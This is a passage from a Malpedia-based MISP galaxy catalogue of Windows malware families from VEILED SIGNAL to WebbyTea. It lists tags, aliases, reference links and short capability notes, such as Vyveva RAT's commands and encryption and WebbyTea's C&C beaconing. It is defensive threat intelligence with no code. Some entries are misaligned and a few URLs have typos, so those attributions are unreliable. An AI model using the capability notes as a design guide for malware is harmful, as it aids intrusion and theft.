<td><a href="https://twitter.com/malwrhunteerteam/status/1095024267459284992">https://twitter.com/malwrhunteerteam/status/1095024267459284992</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunteerteam/status/1093136163836174339">https://twitter.com/malwrhunteerteam/status/1093136163836174339</a></td>
</tr>
</tbody>
</table>

**VEILED SIGNAL**

The tag is: **misp-galaxy:malpedia="VEILED SIGNAL"**

VEILED SIGNAL is also known as:

Table 4431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal">https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal</a></td>
</tr>
<tr>
<td><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain">https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain</a></td>
</tr>
</tbody>
</table>
**Velso**

Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.

The tag is: *misp-galaxy:malpedia=*Velso*

Velso is also known as:

<table>
<thead>
<tr>
<th>Table 4432. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.velso">https://malpedia.caad.fkie.fraunhofer.de/details/win.velso</a></td>
</tr>
</tbody>
</table>

**Vendetta**

Ransomware, which appears to be a rebranding of win.cuba.

The tag is: *misp-galaxy:malpedia=*Vendetta*

Vendetta is also known as:

<table>
<thead>
<tr>
<th>Table 4433. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta">https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/blog/threat-intelligence/2023/03/ransomware-review-march-2023">https://www.malwarebytes.com/blog/threat-intelligence/2023/03/ransomware-review-march-2023</a></td>
</tr>
</tbody>
</table>

**Venom RAT**

The tag is: *misp-galaxy:malpedia=*Venom RAT*

Venom RAT is also known as:

<table>
<thead>
<tr>
<th>Table 4434. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.venom">https://malpedia.caad.fkie.fraunhofer.de/details/win.venom</a></td>
</tr>
<tr>
<td><a href="https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/">https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarelab.pl/posts/venom/">https://blog.malwarelab.pl/posts/venom/</a></td>
</tr>
</tbody>
</table>
VenomLNK

VenomLNK is the initial phase of the more_eggs malware-as-a-service. It is a poisoned .lnk file that depends on User Execution and points to LOLBINs (often cmd.exe) with additional obfuscated scripting options. This typically initiates WMI abuse and TerraLoader, which can load additional functionality through various plugins.

The tag is: `misp-galaxy:malpedia="VenomLNK"`

VenomLNK is also known as:

Table 4435. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk">malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk</a></td>
</tr>
</tbody>
</table>

Venus Locker

The tag is: `misp-galaxy:malpedia="Venus Locker"`

Venus Locker is also known as:

Table 4436. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JaromirHorejsi/status/813690129088937984">twitter.com/JaromirHorejsi/status/813690129088937984</a></td>
</tr>
</tbody>
</table>

Vermilion Strike (Windows)

The tag is: `misp-galaxy:malpedia="Vermilion Strike (Windows)"

Vermilion Strike (Windows) is also known as:

Table 4437. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike">malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike</a></td>
</tr>
</tbody>
</table>
Vermin
The tag is: `misp-galaxy:malpedia="Vermin"`
Vermin is also known as:

Table 4438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin">https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin</a></td>
</tr>
</tbody>
</table>

Vflooder
Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protected by VMProtect.

The tag is: `misp-galaxy:malpedia="Vflooder"`
Vflooder is also known as:

Table 4439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder">https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder</a></td>
</tr>
</tbody>
</table>

VHD Ransomware
The tag is: `misp-galaxy:malpedia="VHD Ransomware"`
VHD Ransomware is also known as:

Table 4440. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware">https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/">https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/</a></td>
</tr>
</tbody>
</table>
VictoryGate

VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted. This cryptojacking malware was specialized in Monero (XRM) cryptocurrency. VictoryGate shows very strong code overlap with win.orchard.

The tag is: misp-galaxy:malpedia="VictoryGate"

VictoryGate is also known as:

Table 4441. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate">https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate</a></td>
</tr>
</tbody>
</table>

Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: misp-galaxy:malpedia="Vidar"

Vidar is also known as:

Table 4442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GroupIB_GIB/status/1570821174736850945">https://twitter.com/GroupIB_GIB/status/1570821174736850945</a></td>
</tr>
</tbody>
</table>
VIGILANT CLEANER

Wiper malware discovered by Japanese security firm Mitsui Bussan Secure Directions (MBSD), which is assumed to target Japan, the host country of the 2021 Summer Olympics. In addition to targeting common file Office-related files, it specifically targets file types associated with the Japanese word processor Ichitaro.

The tag is: `misp-galaxy:malpedia="VIGILANT CLEANER"

VIGILANT CLEANER is also known as:

- VIGILANT CHECKER

Table 4443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner">https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games">https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.co.jp/archives/28319">https://blog.trendmicro.co.jp/archives/28319</a></td>
</tr>
<tr>
<td><a href="https://www.mbsd.jp/research/20210721/blog/">https://www.mbsd.jp/research/20210721/blog/</a></td>
</tr>
</tbody>
</table>

virdetdoor

The tag is: `misp-galaxy:malpedia="virdetdoor"

virdetdoor is also known as:

Table 4444. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor</a></td>
</tr>
</tbody>
</table>

VirLock

Polymorphic parasitic file infecting virus which transforms files into copies of itself. Additionally it uses screen-locking as a ransomware technique.
The tag is: *misp-galaxy:malpedia=*VirLock*

VirLock is also known as:

Table 4445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock">https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/">https://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/</a></td>
</tr>
</tbody>
</table>

**VIRTUALGATE**

The tag is: *misp-galaxy:malpedia=*VIRTUALGATE*

VIRTUALGATE is also known as:

Table 4446. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate">https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/some-notes-on-virtualgate/">https://norfolkinfosec.com/some-notes-on-virtualgate/</a></td>
</tr>
</tbody>
</table>

**Virut**

The tag is: *misp-galaxy:malpedia=*Virut*

Virut is also known as:

Table 4447. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.virut">https://malpedia.caad.fkie.fraunhofer.de/details/win.virut</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/virut-encryption-analysis">https://www.secureworks.com/research/virut-encryption-analysis</a></td>
</tr>
<tr>
<td><a href="https://chrisdietri.ch/post/virut-resurrects/">https://chrisdietri.ch/post/virut-resurrects/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/pe-file-infecting-malware-ot">https://www.mandiant.com/resources/pe-file-infecting-malware-ot</a></td>
</tr>
</tbody>
</table>
**Vizom**

The tag is: *misp-galaxy:malpedia*="Vizom"

Vizom is also known as:

*Table 4448. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vizom">https://malpedia.caad.fkie.fraunhofer.de/details/win.vizom</a></td>
</tr>
</tbody>
</table>

**Vjw0rm**

VJW0rm (aka Vengeance Justice Worm) is a publicly available, modular JavaScript RAT. Vjw0rm was first released in November 2016 by its primary author, v_B01 (aka Sliemerez), within the prominent DevPoint Arabic-language malware development community. VJW0rm appears to be the JavaScript variant of a series of RATs with identical functionality released by the author throughout late 2016. Other variants include a Visual Basic Script (VBS) based worm titled vw0rm (Vengeance Worm), an AutoHotkey-based tool called vrw0rm (Vengeance Rise Worm), and a PowerShell-based variant called vdw0rm (Vengeance Depth Worm).

The tag is: *misp-galaxy:malpedia*="Vjw0rm"

Vjw0rm is also known as:

*Table 4449. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm">https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm</a></td>
</tr>
<tr>
<td><a href="https://resources.securityscorecard.com/research/acasestudyofVjw0rm#page=1">https://resources.securityscorecard.com/research/acasestudyofVjw0rm#page=1</a></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/browse/signature/Vjw0rm/">https://bazaar.abuse.ch/browse/signature/Vjw0rm/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/24759ad2">https://community.riskiq.com/article/24759ad2</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/tccontre18/status/1461386178528264204">https://twitter.com/tccontre18/status/1461386178528264204</a></td>
</tr>
</tbody>
</table>
VM Zeus

The tag is: *misp-galaxy:malpedia="VM Zeus"

VM Zeus is also known as:

- VMzeus
- Zberp
- ZeusVM

Table 4450. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus">https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus</a></td>
</tr>
</tbody>
</table>

Vobfus

Malware of this family searches for computers on a network and creates copies of itself in folders with open access. For the program to be activated, the user must first run it on the computer. The code of this malware is written in the Visual Basic programming language and uses obfuscation, which is a distinguishing feature of this family. Code obfuscation complicates attempts by anti-virus software to analyze suspected malware.

The tag is: *misp-galaxy:malpedia="Vobfus"

Vobfus is also known as:

- Beebone

Table 4451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus">https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus</a></td>
</tr>
</tbody>
</table>
Vohuk

The tag is: misp-galaxy:malpedia="Vohuk"

Vohuk is also known as:

Table 4452. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk

Void

Ransomware.

The tag is: misp-galaxy:malpedia="Void"

Void is also known as:

- VoidCrypt

Table 4453. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.void
- https://id-ransomware.blogspot.com/2020/04/void-voidcrypt-ransomware.html
- https://securelist.com/cis-ransomware/104452/

Voidoor

The tag is: misp-galaxy:malpedia="Voidoor"

Voidoor is also known as:

Table 4454. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor
### VoidRAT

The tag is: `misp-galaxy:malpedia="VoidRAT"`

VoidRAT is also known as:

*Table 4455. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.void_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.void_rat</a></td>
</tr>
<tr>
<td><a href="https://resources.securityscorecard.com/research/technical-analysis-of-the-quasar-forked-rat-called-void-rat">https://resources.securityscorecard.com/research/technical-analysis-of-the-quasar-forked-rat-called-void-rat</a></td>
</tr>
</tbody>
</table>

### Volgmer

The tag is: `misp-galaxy:malpedia="Volgmer"`

Volgmer is also known as:

- FALLCHILL
- Manuscrypt

*Table 4456. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer">https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/56256/">https://asec.ahnlab.com/ko/56256/</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view">https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/nickel-academy">https://www.secureworks.com/research/threat-profiles/nickel-academy</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318B">https://www.us-cert.gov/ncas/alerts/TA17-318B</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-applejeus/87553/">https://securelist.com/operation-applejeus/87553/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74">https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74</a></td>
</tr>
<tr>
<td><a href="https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus(Constellation).pdf">https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus(Constellation).pdf</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view">https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view</a></td>
</tr>
</tbody>
</table>
Vovalex

Ransomware written in D.

The tag is: `misp-galaxy:malpedia="Vovalex"`

Vovalex is also known as:

Table 4457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vovalex">https://malpedia.caad.fkie.fraunhofer.de/details/win.vovalex</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1355196321964109824">https://twitter.com/VK_Intel/status/1355196321964109824</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1351808079164276736">https://twitter.com/malwrhunterteam/status/1351808079164276736</a></td>
</tr>
</tbody>
</table>

Vreikstadi

The tag is: `misp-galaxy:malpedia="Vreikstadi"`

Vreikstadi is also known as:

Table 4458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi">https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malware_traffic/status/821483557990318080">https://twitter.com/malware_traffic/status/821483557990318080</a></td>
</tr>
</tbody>
</table>

VSingle

The tag is: `misp-galaxy:malpedia="VSingle"`

VSingle is also known as:

Table 4459. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle">https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=nUjxH1gW53s">https://www.youtube.com/watch?v=nUjxH1gW53s</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html">https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html</a></td>
</tr>
</tbody>
</table>
vSkimmer

The tag is: misp-galaxy:malpedia="vSkimmer"

vSkimmer is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer">https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer</a></td>
</tr>
<tr>
<td><a href="http://www.xylibox.com/2013/01/vskimmer.html">http://www.xylibox.com/2013/01/vskimmer.html</a></td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/">https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/</a></td>
</tr>
</tbody>
</table>

Vulturi

Information stealer.

The tag is: misp-galaxy:malpedia="Vulturi"

Vulturi is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vulturi">https://malpedia.caad.fkie.fraunhofer.de/details/win.vulturi</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ViriBack/status/1430604948241276928?s=20">https://twitter.com/ViriBack/status/1430604948241276928?s=20</a></td>
</tr>
</tbody>
</table>

Vyveva RAT

Vyveva is a remote access trojan that uses the Tor library for communication with C&C. Its use of fake TLS for camouflaging the network traffic is one of the typical Lazarus traits.

It uses a simple XOR for encryption of its configuration and network traffic.

It sends detailed information about the victim's environment, like computer name, user name, IP, code page, Windows version, architecture, and time zone.

It supports more than 20 commands that include operations on the victim's filesystem, basic process management, command line execution, file exfiltration, and the download and memory execution of an additional DLL from the C&C (by calling the expected export SamIPromote). As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. The lowest index is 0x3, followed by 0x10, which goes incrementally up to 0x26. Also, it can monitor newly connected
drives and the number of logged-on users.

It has MPRD.dll as the internal DLL name, and a single export SamIInitialize.

Vyveva RAT was used in an attack against a freight logistics company in South Africa in June 2020.

The tag is: misp-galaxy:malpedia="Vyveva RAT"

Vyveva RAT is also known as:

Table 4462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva">https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva</a></td>
</tr>
</tbody>
</table>

w32times

The tag is: misp-galaxy:malpedia="w32times"

w32times is also known as:

Table 4463. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times">https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Group/G0022">https://attack.mitre.org/wiki/Group/G0022</a></td>
</tr>
</tbody>
</table>

win.wabot

Wabot is an IRC worm that is written in Delphi.

The tag is: misp-galaxy:malpedia="win.wabot"

win.wabot is also known as:

Table 4464. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wabot">https://malpedia.caad.fkie.fraunhofer.de/details/win.wabot</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/03/threat-roundup-0324-0331.html">https://blog.talosintelligence.com/2017/03/threat-roundup-0324-0331.html</a></td>
</tr>
</tbody>
</table>

WallyShack

The tag is: misp-galaxy:malpedia="WallyShack"

WallyShack is also known as:

2008
WannaCryptor

The tag is: misp-galaxy:malpedia="WannaCryptor"

WannaCryptor is also known as:

- Wana Decrypt0r
- WannaCry
- WannaCrypt
- Wcry

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.wallyshack

Table 4466. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
- https://www.microsoft.com/security/blog/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/
- https://baesystemsaiblogspot.de/2017/05/wanacrypt0r-ransomworm.html
- http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/
- https://blog.comae.io/wannacry-new-variants-detected-b8908f6eaf7e
WannaHusky

According to Mars, WannaHusky is a Nim-compiled ransomware malware sample, created for demonstration purposes and provided as part of the Practical Malware Analysis & Triage course provided by HuskyHacks.
The tag is: `misp-galaxy:malpedia="WannaHusky"`

WannaHusky is also known as:

Table 4467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky">https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@mars0x/wannahusky-malware-analysis-w-yara-ttps-2069fb479909">https://medium.com/@mars0x/wannahusky-malware-analysis-w-yara-ttps-2069fb479909</a></td>
</tr>
</tbody>
</table>

**WannaRen**

Ransomware.

The tag is: `misp-galaxy:malpedia="WannaRen"`

WannaRen is also known as:

Table 4468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wannaren">https://malpedia.caad.fkie.fraunhofer.de/details/win.wannaren</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/03/wannaren-ransomware.html">https://id-ransomware.blogspot.com/2020/03/wannaren-ransomware.html</a></td>
</tr>
</tbody>
</table>

**WastedLoader**

This malware looks similar to WastedLocker, but the ransomware component is missing.

The tag is: `misp-galaxy:malpedia="WastedLoader"`

WastedLoader is also known as:

Table 4469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader</a></td>
</tr>
<tr>
<td><a href="https://killingthebear.jorgetesta.tech/actors/evil-corp">https://killingthebear.jorgetesta.tech/actors/evil-corp</a></td>
</tr>
</tbody>
</table>

**WastedLocker**

WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim’s name and the string 'wasted'. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The
crypter mainly contains junk code to increase entropy of the sample and hide the actual code.

The tag is: misp-galaxy:malpedia="WastedLocker"

WastedLocker is also known as:

Table 4470. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evaede-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evaede-sanctions</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html">https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/">https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html">https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77">https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/">https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/wastedlocker/">https://unit42.paloaltonetworks.com/wastedlocker/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd">https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd</a></td>
</tr>
</tbody>
</table>
Waterbear

Waterbear, also known as DbgPrint in its earlier export function, has been active since 2009. The malware is presumably developed by the BlackTech APT group and adopts advanced anti-analysis and forward-thinking design. These designs include a sophisticated shellcode stager, the ability to load plugins on-the-fly, and overall evasiveness should the C2 server fail to respond with a valid session key.

The tag is: misp-galaxy:malpedia="Waterbear"

Waterbear is also known as:

- DbgPrint
- EYEWELL

Table 4471. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=6SDdUVejR2w">https://www.youtube.com/watch?v=6SDdUVejR2w</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-espionage-tactics">https://www.mandiant.com/resources/blog/chinese-espionage-tactics</a></td>
</tr>
<tr>
<td><a href="https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf">https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf</a></td>
</tr>
<tr>
<td><a href="https://daydaynews.cc/zh-tw/technology/297265.html">https://daydaynews.cc/zh-tw/technology/297265.html</a></td>
</tr>
</tbody>
</table>

WaterMiner

The tag is: misp-galaxy:malpedia="WaterMiner"

WaterMiner is also known as:

Table 4472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer">https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer</a></td>
</tr>
</tbody>
</table>
**WaterSpout**

The tag is: *misp-galaxy:malpedia="WaterSpout"*

WaterSpout is also known as:

Table 4473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout">https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout</a></td>
</tr>
</tbody>
</table>

**WebbyTea**

WebbyTea is an HTTP(S) downloader that uses AES for C&C traffic encryption.

It sends detailed information about the victim’s environment, like proxy settings, system installation date, Windows product name and version, manufacturer, product name, system boot time, time zone, computer name, user name, current time and a list of currently running processes. Data sent to the C&C server consists of the prefix "ci", a 16-characters long hexadecimal string representing the victim ID and an encrypted data about the victim’s system. After the payload is acquired from the server and successfully injected in a newly created explorer.exe process, the malware responds back with the same victim ID having the prefix changed to "cs".

